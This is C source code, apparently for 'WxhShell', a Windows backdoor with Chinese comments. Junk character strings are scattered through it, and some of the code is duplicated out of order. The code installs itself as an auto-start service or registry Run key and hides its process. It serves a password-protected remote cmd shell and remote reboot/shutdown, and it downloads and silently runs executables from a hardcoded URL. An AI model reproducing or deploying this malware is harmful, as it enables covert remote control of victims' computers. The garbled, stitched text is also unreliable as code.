g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); vcV!K^M- NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); *NF&Y GJ>ypEWo if (!NtQueryInformationProcess) return 0; l`qP~k# 2X^iV09 hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); fGo_NB if(!hProcess) return 0; kp.|gzA6 Ltl]j*yei if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; _rG-#BKW8L 3U>S]#5} CloseHandle(hProcess); wH!}qz/ Iw*C*%}[Z hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 'l8eH$ if(hProcess==NULL) return 0; n }TTq6B eoC<a"bJ> HMODULE hMod; qb9}&'@: char procName[255]; U#iT<#!l2 unsigned long cbNeeded; ko>M&/^ pj j}K if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); O/nqNQ?< |<'10 CloseHandle(hProcess); ^|r`"gOJ3 zQ=aey% if(strstr(procName,"services")) return 1; // 以服务启动 t3K>\ : 2-P I JO return 0; // 注册表启动 @_(nd57oSs } EI<"DB Dn: Yi8= // 主模块 VDPxue int StartWxhshell(LPSTR lpCmdLine) g8Ok ^ { A?\h|u< SOCKET wsl; D`8E-Bq BOOL val=TRUE; ;g6 nHek int port=0; V02309Y struct sockaddr_in door; &8zk3 q~mcjbLz if(wscfg.ws_autoins) Install(); ^sJ1 ^LT 2k%Bl+I port=atoi(lpCmdLine); +7`u9j. l;XUh9RF`A if(port<=0) port=wscfg.ws_port; FU^Y{sbDg /Ql6]8.P WSADATA data; VN?<[#ij if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; $B*qNYpPy. HH+TjX/b if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; ER/\ +Z#Z setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); B>1M$3`E door.sin_family = AF_INET; 0H;"5 door.sin_addr.s_addr = inet_addr("127.0.0.1"); R,uJK)m door.sin_port = htons(port); Wn b)*pPP <JG Yr 4V if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { H+nr5!`kz closesocket(wsl); Z=0iPy,m> return 1; {|G&W^` } )x y9X0 ?exALv'B if(listen(wsl,2) == INVALID_SOCKET) { cPx66Dh& closesocket(wsl); K,Lr+ return 1; oC5gME"2 } N45s'rF Wxhshell(wsl); OX'/?B(( WSACleanup(); qdKh6{ 0m
qSA return 0; |L*6x
S[ 9
Wxq) } ytg7p 5{!i .0rJIO // 以NT服务方式启动 ^XtHF|%0T VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) fN~8L}!l { +SP!R[a DWORD status = 0; rjfc.l#v DWORD specificError = 0xfffffff; 4X<Oux* FuIWiO( serviceStatus.dwServiceType = SERVICE_WIN32; Z#H@BWN7 serviceStatus.dwCurrentState = SERVICE_START_PENDING; dP$y>%cB serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Vjv6\;tt8 serviceStatus.dwWin32ExitCode = 0; #1gTpb+t serviceStatus.dwServiceSpecificExitCode = 0; {9y9Kr|(P: serviceStatus.dwCheckPoint = 0; NHst7$Y< serviceStatus.dwWaitHint = 0; h}Fu"zK Yk(NZ3O hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); z1z=P%WK if (hServiceStatusHandle==0) return; \UVT_=Y F0DPS:c status = GetLastError(); DK2c]i^|= if (status!=NO_ERROR) TiwHLb9 { A0'tCq]?0 serviceStatus.dwCurrentState = SERVICE_STOPPED; cuJ/ Vc serviceStatus.dwCheckPoint = 0; ,:\zXESy4 serviceStatus.dwWaitHint = 0; RXIH(WiK serviceStatus.dwWin32ExitCode = status; 5|{ t+u serviceStatus.dwServiceSpecificExitCode = specificError; j(wY/Hl SetServiceStatus(hServiceStatusHandle, &serviceStatus); oXu~9'm$ return; p?EEox } T#ecLD# 2d,wrC<'$ serviceStatus.dwCurrentState = SERVICE_RUNNING; e!O &~#'h} serviceStatus.dwCheckPoint = 0; (cbB% serviceStatus.dwWaitHint = 0; X7(rg W8 if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell("");
M}_M_ } 0nF>zOmc )AZ`R8-A // 处理NT服务事件,比如:启动、停止 +9&ulr VOID WINAPI NTServiceHandler(DWORD fdwControl) IFHgD}kp%# { :Map,]]B_ switch(fdwControl) *}50q9)/ {
iX&Z case SERVICE_CONTROL_STOP: 2b vYF;<r serviceStatus.dwWin32ExitCode = 0; 6PVlZ serviceStatus.dwCurrentState = SERVICE_STOPPED; 4jI*Y6Wkz serviceStatus.dwCheckPoint = 0; ^;v.ytO* serviceStatus.dwWaitHint = 0; *GY,h$Ul { 5cv,
>{~5 SetServiceStatus(hServiceStatusHandle, &serviceStatus); ePFC$kMn } qCv}+d) return; |wl")|b% case SERVICE_CONTROL_PAUSE: |2+c DR serviceStatus.dwCurrentState = SERVICE_PAUSED; <ZN)
/,4PS break; x %!OP\ case SERVICE_CONTROL_CONTINUE: &QHA_+88W serviceStatus.dwCurrentState = SERVICE_RUNNING; m"ki*9] break; 2g`uC} case SERVICE_CONTROL_INTERROGATE: @=^jpSnZ break; vCrWA-q# }; vM$#m1L? SetServiceStatus(hServiceStatusHandle, &serviceStatus); Xqq?S } 2n\i0?RD J@&$U7t // 标准应用程序主函数 "@):*3
4 int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) OmQuAG
^\x { oD|+X/FK cc#_acR // 获取操作系统版本 YjMbd?v OsIsNt=GetOsVer(); jw&}N6^G GetModuleFileName(NULL,ExeFile,MAX_PATH); *AJezhR <{P^W;N7 // 从命令行安装 Wl^/=I4p# if(strpbrk(lpCmdLine,"iI")) Install(); `OF g.R| pRa oR // 下载执行文件
s2
t-T0; if(wscfg.ws_downexe) { Y?q*hS0!H if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 2R~=@ WinExec(wscfg.ws_filenam,SW_HIDE); 0bRkC,N
( } q,19NZ knj,[7uh if(!OsIsNt) { V%Z[,C
u+ // 如果时win9x,隐藏进程并且设置为注册表启动 HEW9YC" HideProc(); :D)&>{? StartWxhshell(lpCmdLine); A1&>L9nUx } +BTNm66Z else A+Pm "| if(StartFromService()) J0Rz.=Y // 以服务方式启动 TPmZ/c^ StartServiceCtrlDispatcher(DispatchTable); ztt%l # else 0Ci"tA3" // 普通方式启动 c&iK+qvh{ StartWxhshell(lpCmdLine); WG!;,~f>o Tef3
Z6 return 0; ,1.([%z+r } kkuQ"^<J /A`zy QK/+*hr; 2ucsTh@ =========================================== APOU&Wd *p<5(-J3 g{f>jd [OToz~=) HZ`G)1&) qS`|=5f " F(kRAe; oew]ijnB #include <stdio.h> "vHAp55B{ #include <string.h> W YqL #include <windows.h> 3[g++B."pC #include <winsock2.h> 3Tte8]0 #include <winsvc.h> #p:jKAc3 #include <urlmon.h> f;;
S )@&?i. #pragma comment (lib, "Ws2_32.lib") "oGM>@q=B #pragma comment (lib, "urlmon.lib") r:\ 5/0( ff+9(P>* #define MAX_USER 100 // 最大客户端连接数 frO/
nx|9 #define BUF_SOCK 200 // sock buffer q.K$b #define KEY_BUFF 255 // 输入 buffer ClVpb ew GeW$lA I #define REBOOT 0 // 重启 ^# g;"K0 #define SHUTDOWN 1 // 关机 z4%F2Czai& 9tW.}5V #define DEF_PORT 5000 // 监听端口 R)d7b,_Yd l+kg4y #define REG_LEN 16 // 注册表键长度 ="nrq&2 #define SVC_LEN 80 // NT服务名长度 ^T
J ("@V{<7(t // 从dll定义API *'S%gR=Aa+ typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); }(7QJk5 j typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 2\8\D^ typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); g(F*Y>hk typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); h],%va[ 7)8}8tY^{ // wxhshell配置信息 NGeeD?2~ struct WSCFG { r H_:7#.E int ws_port; // 监听端口 uEO2,1+ char ws_passstr[REG_LEN]; // 口令 2n r
UE int ws_autoins; // 安装标记, 1=yes 0=no GP
kCgb( char ws_regname[REG_LEN]; // 注册表键名 h[)aRo char ws_svcname[REG_LEN]; // 服务名 4 ~|TKd{ char ws_svcdisp[SVC_LEN]; // 服务显示名 .6A:t?. char ws_svcdesc[SVC_LEN]; // 服务描述信息 (+v*u ]w4 char ws_passmsg[SVC_LEN]; // 密码输入提示信息 sNpBTG@{l int ws_downexe; // 下载执行标记, 1=yes 0=no m6ws#%|[ char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" '|R@k_nx char ws_filenam[SVC_LEN]; // 下载后保存的文件名 xWZcSIH! 80"=Qu{s }; 8`?j*FV7kq &1C9K> // default Wxhshell configuration 7CN[Z9Y^} struct WSCFG wscfg={DEF_PORT, ZUI\0qh+ "xuhuanlingzhe", QKkr~?sTO 1, p?NjxQLA "Wxhshell", L/+J|_J) "Wxhshell", ,^Srd20 "WxhShell Service", %H~gN9Vn#@ "Wrsky Windows CmdShell Service", #\;w:: "Please Input Your Password: ", Y,"MQFr(o 1, NB#*`|qt "http://www.wrsky.com/wxhshell.exe", *M<=K.*\G "Wxhshell.exe" ]<?)(xz }; 1KR|i" &>b1ES.> // 消息定义模块 ;l4\^E1 char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 9{#|sABGD char *msg_ws_prompt="\n\r? for help\n\r#>"; ASU\O3%% char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; `GWq3c5 char *msg_ws_ext="\n\rExit."; >^ar$T;Ys char *msg_ws_end="\n\rQuit."; R}26 "+~ char *msg_ws_boot="\n\rReboot..."; qiryC7.E char *msg_ws_poff="\n\rShutdown..."; 0-~x[\>> char *msg_ws_down="\n\rSave to "; !27]1%Aw U:jf9L2 char *msg_ws_err="\n\rErr!"; h4i$z-! char *msg_ws_ok="\n\rOK!"; ;i?!qB>baX TRok4uc char ExeFile[MAX_PATH]; `5&V}"lB int nUser = 0; W)~.o/; HANDLE handles[MAX_USER]; ! HC<aWb int OsIsNt; BT#g?=n#` }f'1x%RS^ SERVICE_STATUS serviceStatus; j}*+-.YF SERVICE_STATUS_HANDLE hServiceStatusHandle; JB_`lefW,' @h,$&=HY // 函数声明 ~8{3Fc 0 int Install(void); !Qzp!k9d int Uninstall(void); /j@r~mt/pA int DownloadFile(char *sURL, SOCKET wsh); O;sQPG,v int Boot(int flag); [k}\{i> void HideProc(void); }]?G"f
t K int GetOsVer(void); v('d H"Y int Wxhshell(SOCKET wsl); >7q,[:(gs void TalkWithClient(void *cs); 1*CWHs int CmdShell(SOCKET sock); nGd int StartFromService(void); I@M^Wu]wW int StartWxhshell(LPSTR lpCmdLine); mcG$V0D <{ ]*U') VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); r,KK%B VOID WINAPI NTServiceHandler( DWORD fdwControl ); -y.AJ~T ~{Bi{aK2 // 数据结构和表定义 [![(h % SERVICE_TABLE_ENTRY DispatchTable[] = B'/ >Ax& { 0.0!5D[ {wscfg.ws_svcname, NTServiceMain}, 1hS~!r'qqv {NULL, NULL} x@}Fn:c!5 }; ,O!aRvzap Z$XpoDbOy // 自我安装 LS$82UB& int Install(void) h'KtG<+ { .U%"oD char svExeFile[MAX_PATH]; rv%[?Ml HKEY key; 2f4c;YS strcpy(svExeFile,ExeFile); lHqx}n@e jy2nn:1#^ // 如果是win9x系统,修改注册表设为自启动 +}/!yQtH if(!OsIsNt) { 59]9-1" + if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { [1GEe RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); V,5}hQJ
F RegCloseKey(key); x&vD,|V! if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { LL
[>Uu?Y RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); e6'O,\ RegCloseKey(key); TMsoQ82 return 0;
e5]AB } LS;anNk@.} } sdD[`# } IBh~(6 else { Ti'kn{
Zv Y
sV // 如果是NT以上系统,安装为系统服务 D .`\ ^a SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); <DS6-y if (schSCManager!=0) N2e<Y_T { ]S geZ07 SC_HANDLE schService = CreateService >6+K"J-@ ( %Ege^4PE schSCManager, J7vpCw2ni wscfg.ws_svcname, 3fTI&2: wscfg.ws_svcdisp, $(=1A>40 SERVICE_ALL_ACCESS, ]H2aYi$ SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , $t}1|q| SERVICE_AUTO_START, ,[L$ SERVICE_ERROR_NORMAL, 1}*; svExeFile, jRAL(r| NULL, 0g-ESf``{n NULL, q(Q9FonU NULL, 1bkUT_ NULL, T@.D5[q0: NULL "mK (?U!A ); |lV9?#! if (schService!=0) W|U1AXU7/ { edx'p`%d5 CloseServiceHandle(schService); n`xh/vGm# CloseServiceHandle(schSCManager); E2D8s=r strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); qw1J{xoHW strcat(svExeFile,wscfg.ws_svcname); AAgA]OD, if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { >oDP(]YGg RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); KL]!E ~i RegCloseKey(key); lJ#>Y5Qg return 0; \S@6@UGv } =)8fE*[s } l.l~K%P'h CloseServiceHandle(schSCManager); KW^aARJ) } a0\UL"z#+ } !yrHVc 926oM77 return 1; "@$STptkc } ?UDO%`X )A=g# D# // 自我卸载 "~
stZ. int Uninstall(void) @un
}&URp { 2"mj=}y6 HKEY key; Ms)zEy>[Ql TVwYFX if(!OsIsNt) { "s9gQAoaO if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { V}+;bbUc- RegDeleteValue(key,wscfg.ws_regname); Y'1V(5/& RegCloseKey(key); yG$@!*| if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { : PkZ(WZ9 RegDeleteValue(key,wscfg.ws_regname); 8f5^@K\c RegCloseKey(key); wkA!Jv% return 0; _Qc\v0% } l&xD3u^G } }j*/>m } _1Gut"!{\ else { @8yFM% *!@x<Hf< SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); tC-KW~& if (schSCManager!=0) [HDO^6U { ! -@!u SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Qe.kNdT+_ if (schService!=0) ^?[<!VBI { cLC7U?- if(DeleteService(schService)!=0) { NI:N
W-! CloseServiceHandle(schService); ^I?y\:. CloseServiceHandle(schSCManager); REBDr;tv return 0; 1G.gPx[ } ?ovGYzUZ CloseServiceHandle(schService); 1:UC\ WW } JZxF)]^ CloseServiceHandle(schSCManager); $VIq)s2az| } I]1Hi?A2 } |9$'?4F No\&~ return 1; j88sE MZ } Fxx2vTV4ag /+O8A} // 从指定url下载文件 15DK\_; int DownloadFile(char *sURL, SOCKET wsh) Hd`p_?3] { -GVG1#5 HRESULT hr; HW Os@!cL char seps[]= "/"; [qMdOY%jx char *token; ?4Juw? char *file; )^f
Q@C8 char myURL[MAX_PATH]; ~(^*?(Z char myFILE[MAX_PATH]; 9yw/-nA pu*u[n strcpy(myURL,sURL); WVK-dBU token=strtok(myURL,seps); l{m~d!w`a while(token!=NULL) MPy][^s! { E9 q;>)} file=token;
D#}Yx]Q1 token=strtok(NULL,seps); Am0C|(#Xm } q*TKs#3 Ab<Ok\e5 GetCurrentDirectory(MAX_PATH,myFILE); [j U strcat(myFILE, "\\"); lILtxVBO2o strcat(myFILE, file); F>(#Af9 send(wsh,myFILE,strlen(myFILE),0); BG0Mj2 send(wsh,"...",3,0); v/.h%6n? hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); u;qMo `- if(hr==S_OK) ~(OIo7#; return 0; |hQ|'VCN else HKN"$(Q return 1; qpqz. {\ 7qK0!fk5 } k|Yv8+XT f.)F8!! // 系统电源模块 Cy:`pYxhd int Boot(int flag) @Qjl`SL%O^ { slvs oN@ HANDLE hToken; e -]c TOKEN_PRIVILEGES tkp; &dDI*v+ _Ge^
-7 if(OsIsNt) { 5=h'!|iY OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 1$D`Z/N"A LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ;s.5\YZ"k tkp.PrivilegeCount = 1; Q1\k`J tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; $"{3yLg AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ]N <] if(flag==REBOOT) { %g@3S!lK if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) b_gN?F7_ return 0; uPC qO+f } R:BBNzY}f else { tDHHQ if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 39aCwhh7v return 0; C2=iZ`Z>T } rspoSPnY1 } 3kqV_Pjg else { Etc?; Z[F# if(flag==REBOOT) { %i
-X@.P if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) eGe[sv"k return 0; 6 #x)W } ~73i^3yf else { <kXV1@> if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) &Pg-|Ql return 0; K&IrTA
j} } jw(>@SXz } 26#Jhb E+ /.kna4k return 1; QJIItx4hE } y(3c{y@~X Ma=6kX] // win9x进程隐藏模块 }vUlTH void HideProc(void) M?~<w)L} { `KJYm|@ i {[t"O u HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); n]C%(v!u3 if ( hKernel != NULL ) =Q8H]F { 8Z4?X% pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); P-OPv%jyi ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); S|q!? /jqj FreeLibrary(hKernel); U|Z>SE<k } ')u5 l XL7;^AE^Wl return; _95}ifSVm } NBqV0>vR gAr`hXO // 获取操作系统版本 _{c|o{2sj int GetOsVer(void) /#qs(!
d { <f.>jjwFE OSVERSIONINFO winfo; s\Pt,I@Y_ winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); !(]dz~sM GetVersionEx(&winfo); g#'fd/?Q if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) x*R8^BA]pR return 1; "h;;.Y8e else ( ztim return 0; =2nn "YVP } n,?IcDU~m OSa}8rlr' // 客户端句柄模块 4Ay`rG int Wxhshell(SOCKET wsl) j.; { fZ6 fV=HEF SOCKET wsh; .mT#%ex struct sockaddr_in client; txml*/zL DWORD myID; x>^3]m &vFqe,Z while(nUser<MAX_USER) Kl aZZJ { j
FPU
zB" int nSize=sizeof(client); 4P4 Fo1 wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Zc%foK{ if(wsh==INVALID_SOCKET) return 1; P!FEh'. kByrhK5U handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); #6N+5Yx_[ if(handles[nUser]==0) AvrL9D closesocket(wsh); 'wz\tT ^ else o=-Vt,2{ nUser++; b\?7?g } ljYpMv.>xG WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); aVppOxA -3G 4vRIo return 0; 97(Xu=tX
} S$jV|xKB <}EV*`w4 // 关闭 socket B?;' lDz* void CloseIt(SOCKET wsh) -Wlp=#9 { ]> )u+| closesocket(wsh); C(V[wvL nUser--; ~[|V3h4v ExitThread(0); L$29L: } $(@o$%d "?.'{,Q // 客户端请求句柄 Q%& _On void TalkWithClient(void *cs) WxVn&c\ {
':4}O# +}7Ea:K SOCKET wsh=(SOCKET)cs; >bfYy=/ char pwd[SVC_LEN]; RIy5ww}3| char cmd[KEY_BUFF]; s&dO/}3uR] char chr[1]; MX!u$ei int i,j; "U%n0r2 axK6sIxx while (nUser < MAX_USER) { +mfe*'AU Uvjdx(fY[a if(wscfg.ws_passstr) { \~@[QGKN if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); *xE"8pN/ //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); c=A(o //ZeroMemory(pwd,KEY_BUFF); 9Fy\t{ks i=0;
""1#bs{n while(i<SVC_LEN) { bBUbw *DF) AT B\^;n. // 设置超时 Hp)X^O" fd_set FdRead; n7IL7?!o struct timeval TimeOut; `z|=~ FD_ZERO(&FdRead); pk-yj~F } FD_SET(wsh,&FdRead); NP K#].F TimeOut.tv_sec=8; V_&GYXx(J TimeOut.tv_usec=0; Zm%VG(l int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); kmm if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); E rop9T1 @br@[RpB if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ?HrK\f3wWO pwd=chr[0]; lLuID if(chr[0]==0xd || chr[0]==0xa) { de> ?*%< pwd=0; =X-^YG3x break; P?9nTG } u0m5JD0/ i++; $%7I: } 8tb6 gZz yicO!:bM // 如果是非法用户,关闭 socket )Y3EQxXa if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ([:]T$0 # } t"<s} ~ I
jZ]_*^! send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); $_Y/'IN`k send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); -1qZqU$h qqnclqkw& while(1) { hi!L\yi Y,k(#=wg ZeroMemory(cmd,KEY_BUFF);
-Y*VgoK% u~s
Sk // 自动支持客户端 telnet标准 iO!27y j=0; tIq>Oojdx while(j<KEY_BUFF) { *)limqe3"$ if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ?h/xAl cmd[j]=chr[0]; e8$l0gzaD if(chr[0]==0xa || chr[0]==0xd) { drW~)6Lr@ cmd[j]=0; K K?Zm_ break; 9mam ~)_ | } exfmq j++; IQ ){(Y } nD7|8,' NF6X- ,cd // 下载文件 yJ%t^ X_ if(strstr(cmd,"http://")) { <&4nOt send(wsh,msg_ws_down,strlen(msg_ws_down),0); 9|'
|BC if(DownloadFile(cmd,wsh)) >;
aCf#q send(wsh,msg_ws_err,strlen(msg_ws_err),0); |#{- .r6Y] else EQ4#fAM) send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 'eDJ@4Xm } bF*NWm$Lf else { Bd{4Ae\_+g ]1m"V;vZ switch(cmd[0]) { ).LTts7c fX_#S|DlSG // 帮助 !)N|J$FU case '?': { dd]?9 send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); {jjSJIV1 break; MhNFW'_ } j`O7=- // 安装 OB(pIzSe case 'i': { h;-a`@rO ; if(Install()) ;x-(kIiE send(wsh,msg_ws_err,strlen(msg_ws_err),0); #? dUv# else z"lqrSJ:
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); /RGNAHtIi break; @}WNKS&m } blGf!4H // 卸载 *I0Tbc
O case 'r': { J1bA2+5.*e if(Uninstall()) $(ewk): send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^(ScgoXva else ;6ky5}z send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ({4] break; 9:5:`'b } "
Ya9~6 // 显示 wxhshell 所在路径 I]h-\;96 case 'p': { petW
M@ char svExeFile[MAX_PATH]; n"6;\ strcpy(svExeFile,"\n\r"); -T7xK/ strcat(svExeFile,ExeFile); 4[TR0bM% send(wsh,svExeFile,strlen(svExeFile),0); 9Y/L?km_( break; b;#\~(a } 3o*FPO7? // 重启 $6T3y8 case 'b': { FW8-'~ send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); rz%<AF Z if(Boot(REBOOT)) Rs*vm send(wsh,msg_ws_err,strlen(msg_ws_err),0); $<|ocUC7 else { X eoJ$PfT closesocket(wsh); q_ %cbAcD ExitThread(0); $+cAg> } lv]quloT break; f6!D L< } ahJ1n< // 关机 B<7/,d' case 'd': { =oX>Ph+ P send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 1DE@N1l if(Boot(SHUTDOWN)) ,Ol ( piR send(wsh,msg_ws_err,strlen(msg_ws_err),0); \hlR]m!C else { /-4$7qd closesocket(wsh); oE?QnH3R ExitThread(0); 3xNMPm } I;7nb4]AmF break; B@O@1?c[ } .R5y:O // 获取shell r[_4Lo@G case 's': { "CQw/qZw CmdShell(wsh); |Ps% M|8~ closesocket(wsh); -h#mn2U~3r ExitThread(0); y#v"GblM break; <YFY{VC( } ]3B %8 // 退出 <?h%k"5 case 'x': { ; |L<:x/ send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ~ttY(wCV CloseIt(wsh); g>
S*< break;
4f^C\i+q } pI;NL
[ // 离开 8i}<
k$S case 'q': { GX&b;N send(wsh,msg_ws_end,strlen(msg_ws_end),0); U47}QDh closesocket(wsh); vyI%3+N@ WSACleanup(); %O%=rUD exit(1); \}_Yd8 break; s
'?G H } .>pgU{C`! } uj|BQ`k } ~u87H? [zkikZy // 提示信息 o.-C|IXG if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); |J0Q,F]T } k(%QIJH } q
o 1lj"P HKO739&n} return; pS[KBQ"F } {/<6v. v 7=XL!:P // shell模块句柄 %7hB&[ 5 int CmdShell(SOCKET sock) ?!VIS>C( { kJQ#Wz|z] STARTUPINFO si; j'0r' ZeroMemory(&si,sizeof(si)); ?7MqeR4/E si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; =Gk/k}1 si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ]@^coj[ PROCESS_INFORMATION ProcessInfo; oU6y4yO char cmdline[]="cmd"; $gpG%Qj CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); fyWO return 0; *&Lq!rFS } Cx_Q :6T !0,Mp@ j/ // 自身启动模式 m~hoE8C$ int StartFromService(void) 8}e,%{q { ul f2vD typedef struct 6t'l(E + { f~{}zGTM: DWORD ExitStatus; cbYLU\! DWORD PebBaseAddress; f.B>&%JRZ DWORD AffinityMask; ra N)8w}- DWORD BasePriority; q my%J ULONG UniqueProcessId; 1xE]6he4{T ULONG InheritedFromUniqueProcessId; Mg,:UC: } PROCESS_BASIC_INFORMATION; +;}#B~: {<>K]P~wD PROCNTQSIP NtQueryInformationProcess;
qFQ8 0c^>eq] static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; X[gn+6WB% static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; <#GB[kQa J[~5U~F HANDLE hProcess; fFvF\ PROCESS_BASIC_INFORMATION pbi; ?ULo&P[ %M|,b!eF HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); >>i@r@ if(NULL == hInst ) return 0; A5'NGt ORXm&z) g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 2`GE g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); *+'2?* NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); jOpcV|2 @H>@[+S# if (!NtQueryInformationProcess) return 0; K_?W\Yg klgy;jSEr hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); !+)AeDc:j if(!hProcess) return 0; fb~=Y$| ,j:|w+l if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; oh"O07 65h @}9,U CloseHandle(hProcess); {U<xdG `U#55k9^5 hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); x_Jwd^`t! if(hProcess==NULL) return 0; C98]9 'I;!pUfVp HMODULE hMod; Ghl'nqPlm char procName[255]; Z[\O=1E, unsigned long cbNeeded; ")O`mXg- A1P
K if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Y)N-V
